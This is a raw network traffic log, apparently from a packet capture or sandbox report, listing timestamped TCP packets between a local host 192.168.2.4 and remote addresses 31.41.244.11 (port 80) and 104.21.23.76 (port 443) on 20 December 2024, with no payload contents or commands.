Dec 20, 2024 04:12:18.406994104 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:18.407093048 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:18.407396078 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:18.407428980 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:18.407485962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.407540083 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.407594919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.407638073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.409507036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.409553051 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.409612894 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.409652948 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.411554098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.411595106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.500535965 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.500607967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.500644922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.500693083 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.501419067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.501466990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.501502991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.501550913 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.503177881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.503225088 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.503380060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.503431082 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.504933119 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.504977942 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.505043030 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.505086899 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.506669044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.506715059 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.506767988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.506819010 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.508375883 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.508423090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.508486032 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.508527994 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.510071993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.510118008 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.510173082 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.510215044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.511739016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.511790037 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.511864901 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.511907101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.513428926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.513470888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.513531923 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.513595104 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.515037060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.515079021 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.515103102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.515145063 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.516705990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.516750097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.516809940 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.516855955 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.518366098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.518413067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.518862009 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.518906116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.519850016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.519893885 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.519964933 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.520009041 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.521420956 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.521466970 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.521545887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.521605968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.522985935 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.523034096 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.523088932 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.523143053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.524513006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.524557114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.524599075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.524636984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.526056051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.526109934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.526144981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.526195049 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.527532101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.527576923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.527641058 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.527724028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.529033899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.529083014 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.529128075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.529206038 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.530512094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.530553102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.530611992 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.530653954 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.531982899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.532022953 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.532042027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.532093048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.533468962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.533512115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.533647060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.533689976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.534909010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.534951925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.535026073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.535067081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.536376953 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.536422014 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.536487103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.536530018 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.537822962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.537868023 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.537935972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.537978888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.539266109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.539309978 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.539386034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.539429903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.540730953 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.540777922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.540815115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.540863991 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.542182922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.542226076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.542289972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.542331934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.543668032 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.543709993 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.543740034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.543797016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.545085907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.545191050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.545234919 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.546561003 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.546644926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.546689987 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.548000097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.548044920 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.548074961 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.548845053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.549438000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.549483061 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.549555063 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.549644947 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.550913095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.550980091 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.551007032 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.551045895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.552381039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.552480936 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.552526951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.553805113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.553929090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.553983927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.555252075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.555300951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.555360079 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.555572987 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.556730032 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.556776047 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.556840897 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.556893110 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.558182001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.558229923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.558286905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.558331966 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.559637070 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.559701920 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.559741020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.559783936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.561078072 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.561186075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.561233044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.562556982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.562609911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.562634945 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.562671900 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.563994884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.564035892 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.564097881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.564138889 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.565464020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.565566063 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.565623999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.566911936 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.566994905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.567042112 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.568372965 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.568459988 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.568480968 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.568634987 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.569799900 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.569895983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.569921970 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.569963932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.571269035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.571378946 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.571439028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.572717905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.572810888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.572843075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.572891951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.574173927 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.574198961 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.574240923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.575632095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.575766087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.575823069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.577085972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.577194929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.577241898 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.578540087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.578581095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.578613997 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.578670025 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.579916000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.580002069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.692502022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.692578077 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.692662954 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.692806959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.693018913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.693059921 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.693243027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.693310976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.693363905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.693416119 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.694395065 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.694437027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.694510937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.694566011 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.695538998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.695580959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.695652962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.695696115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.696783066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.696806908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.696822882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.696840048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.697841883 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.697884083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.697905064 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.697917938 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.698982000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.699095011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.699115992 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.699127913 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.700103045 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.700143099 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.700206041 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.700244904 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.701195002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.701236010 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.701299906 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.701349974 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.702302933 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.702342033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.702404022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.702445984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.703411102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.703469992 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.703516960 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.703605890 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.704514027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.704554081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.704626083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.704662085 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.705621004 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.705663919 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.705696106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.705737114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.706763983 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.706805944 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.706882000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.706929922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.707834959 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.707875967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.707940102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.707997084 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.708925962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.708967924 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.708976030 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.709009886 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.710019112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.710063934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.710105896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.710144043 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.711129904 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.711177111 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.711194038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.711242914 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.712218046 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.712263107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.712316990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.712358952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.713316917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.713360071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.713414907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.713452101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.714435101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.714482069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.714555025 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.714597940 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.715521097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.715570927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.715635061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.715677977 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.716644049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.716759920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.716820002 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.717740059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.717788935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.717835903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.717911959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.718831062 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.718878984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.718945026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.718988895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.719937086 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.719976902 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.720005035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.720043898 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.721044064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.721085072 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.721132040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.721188068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.722315073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.722364902 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.722425938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.722470045 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.723263979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.723339081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.723371983 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.723417044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.724338055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.724380970 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.724490881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.724533081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.725445032 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.725483894 CET	49783	80	192.168.2.4	31.41.244.11
